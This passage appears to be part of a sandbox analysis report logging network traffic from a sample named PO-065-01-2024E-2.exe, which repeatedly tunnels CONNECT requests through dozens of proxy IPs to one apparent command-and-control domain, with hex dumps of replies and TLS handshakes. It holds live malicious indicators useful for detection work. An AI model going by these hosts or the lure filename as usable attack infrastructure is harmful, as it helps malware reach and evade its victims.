Mar 11, 2024 16:39:47.852669954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.023435116 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.10	52773	107.173.255.183	1234	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.855190039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.10	52714	107.175.37.178	43029	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.860517979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.10	52746	45.60.186.208	27488	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.861850977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.10	51451	98.181.137.83	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.869112015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.10	52693	185.49.30.5	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.874607086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.10	52740	43.163.192.3	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.887181044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.10	51924	58.20.248.139	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.887243986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.812325954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.301558018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098948956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.777856112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.10	51167	153.139.233.218	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.889683962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.041425943 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.10	52708	34.64.4.27	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.891733885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.292841911 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1592 Date: Mon, 11 Mar 2024 15:39:48 GMT Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen
Mar 11, 2024 16:39:48.292855024 CET	489	IN	Data Raw: 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 Data Ascii: and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </styl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.10	52774	194.4.50.132	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.900160074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.10	50797	159.223.166.21	1372	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.900540113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.973495960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.994347095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.082865953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.176429987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.10	52691	123.126.158.50	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.906008959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.563436031 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 16:39:48.596738100 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 c3 a0 a5 32 60 fd 6c 19 de ce ae af e0 bb ff 78 47 f5 ea f3 ec 02 f0 01 4d 74 4e 20 26 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%2`lxGMtN &*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:49.320898056 CET	536	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 25 c4 93 17 dc ab 71 a3 9f d5 1f dc 66 02 f1 c2 9a 52 8d f3 fd 0a 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e%qfRDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 16:39:49.320933104 CET	536	IN	Data Raw: 19 a4 a8 41 83 af 8a 57 a5 1c 9b d3 40 df 70 a4 4f 36 6b d9 eb 42 48 01 2b 9b e1 b4 10 c8 e0 be 54 99 35 35 3d e1 fe fa 2c 2e f9 02 03 01 00 01 a3 82 02 bc 30 82 02 b8 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 Data Ascii: AW@pO6kBH+T55=,.00U0U%0+0U00Up:xy(0U#0n+_+0x+l0j05+0)http://ocsp.pki.goog/s/gts1p5/uFgUyufpvHQ0
Mar 11, 2024 16:39:49.321036100 CET	376	IN	Data Raw: 68 42 0a 9f e6 67 4c 5a 3a 74 00 00 01 8d 9f 3b 2a d8 00 00 04 03 00 48 30 46 02 21 00 de 50 0b 84 a3 1b 02 2e 55 c0 38 37 8d 5a c4 57 63 34 9e 3e d6 2f c6 08 49 14 e3 02 9d 9e a4 02 02 21 00 b2 bc 14 60 a8 23 89 33 60 f2 4a be 67 47 48 1d b0 03 Data Ascii: hBgLZ:t;H0F!P.U87ZWc4>/I!`#3`JgGHw)BA;vk?"\kpqlQ4=0H;G0E!e+"\fqxfn7~V m+TU JA0%gV+Nswm0H@hd
Mar 11, 2024 16:39:49.321237087 CET	536	IN	Data Raw: d2 e7 91 27 74 d7 ee 13 8a 11 b0 a8 a3 e4 d5 3b 48 03 d9 a4 25 cb 08 0c 15 0b f0 5b 9d cd 27 fd a8 ef f9 8b c7 ac dc 0d be eb 0c 72 e2 42 ee 75 2a b8 1b b1 19 71 88 a8 e8 2c 14 2f 09 61 65 b1 cd 59 a5 fa 58 68 9d a3 d1 9c d8 9d c9 08 56 96 9f 42 Data Ascii: 't;H%['rBuq,/aeYXhVBc_[:72cG^x}gv00tP'S"0H0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R102008
Mar 11, 2024 16:39:49.321249008 CET	536	IN	Data Raw: 81 03 dd ea 22 34 d5 e5 56 b2 f0 c4 8d 41 b1 c3 02 db 62 ec 80 d0 ff 76 d4 86 e4 04 1a b6 b6 0c 2b 62 71 7d d9 af d9 f1 5e fa c0 1e ca a0 19 5c 55 f0 80 d1 2a 0c 07 86 90 9f 35 e3 28 2b 5b ef 23 c8 a3 1d a4 a3 3a ee fe 83 dc 82 4c 25 b0 4d c5 51 Data Ascii: "4VAbv+bq}^\U*5(+[#:L%MQ[Zv0r0U0U%0++0U00Un+_+0U#0+&q+H'/Rf,q>0h+
Mar 11, 2024 16:39:49.321259022 CET	536	IN	Data Raw: c5 0b 49 a1 7b a1 d7 d3 68 e5 44 0f 8b ba 36 dd 42 82 77 d2 8d dd f5 3f fb eb c8 07 98 93 ee 5a d0 b5 3d de 4b 1c 2d 8c 4d ec 7e 8c 7b fe 4e 40 fd f0 b4 b3 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 Data Ascii: I{hD6Bw?Z=K-M~{N@YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-
Mar 11, 2024 16:39:49.321330070 CET	536	IN	Data Raw: 19 30 17 06 03 55 04 0a 13 10 47 6c 6f 62 61 6c 53 69 67 6e 20 6e 76 2d 73 61 31 10 30 0e 06 03 55 04 0b 13 07 52 6f 6f 74 20 43 41 31 1b 30 19 06 03 55 04 03 13 12 47 6c 6f 62 61 6c 53 69 67 6e 20 52 6f 6f 74 20 43 41 30 1e 17 0d 32 30 30 36 31 Data Ascii: 0UGlobalSign nv-sa10URoot CA10UGlobalSign Root CA0200619000042Z280128000042Z0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R10"0*H0w;>@<}2q
Mar 11, 2024 16:39:49.321341991 CET	536	IN	Data Raw: 2a f1 65 44 d0 02 ce aa ce 49 b4 ea 9f 7c 83 b0 40 7b e7 43 ab a7 6c a3 8f 7d 89 81 fa 4c a5 ff d5 8e c3 ce 4b e0 b5 d8 b3 8e 45 cf 76 c0 ed 40 2b fd 53 0f b0 a7 d5 3b 0d b1 8a a2 03 de 31 ad cc 77 ea 6f 7b 3e d6 df 91 22 12 e6 be fa d8 32 fc 10 Data Ascii: *eDI\|@{Cl}LKEv@+S;1wo{>"2cQr])h3:f&Wex'^I!lH<@~ZV<K9K?Un$qA=:z78040U0U00U
Mar 11, 2024 16:39:49.321398973 CET	536	IN	Data Raw: 76 17 a6 31 7a 21 e9 d1 52 3e c8 db 74 16 41 88 b8 3d 35 1d ed e4 ff 93 e1 5c 5f ab bb ea 7c cf db e4 0d d1 8b 57 f2 26 6f 5b be 17 46 68 94 37 6f 6b 7a c8 c0 18 37 fa 25 51 ac ec 68 bf b2 c8 49 fd 5a 9a ca 01 23 ac 84 80 2b 02 8c 99 97 eb 49 6a Data Ascii: v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7fIUg2&p=gm=\|42njoK;7D~lF!fUl)f[wIH(3rS5b$9~AR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.10	52796	72.10.160.171	31571	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.913363934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.10	52725	170.64.206.114	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.916932106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.10	52695	193.239.58.92	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.916932106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.10	52181	172.93.213.177	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.916933060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.973500013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.994347095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.082842112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.10	52736	23.137.248.197	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.917385101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.10	52738	34.95.243.122	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
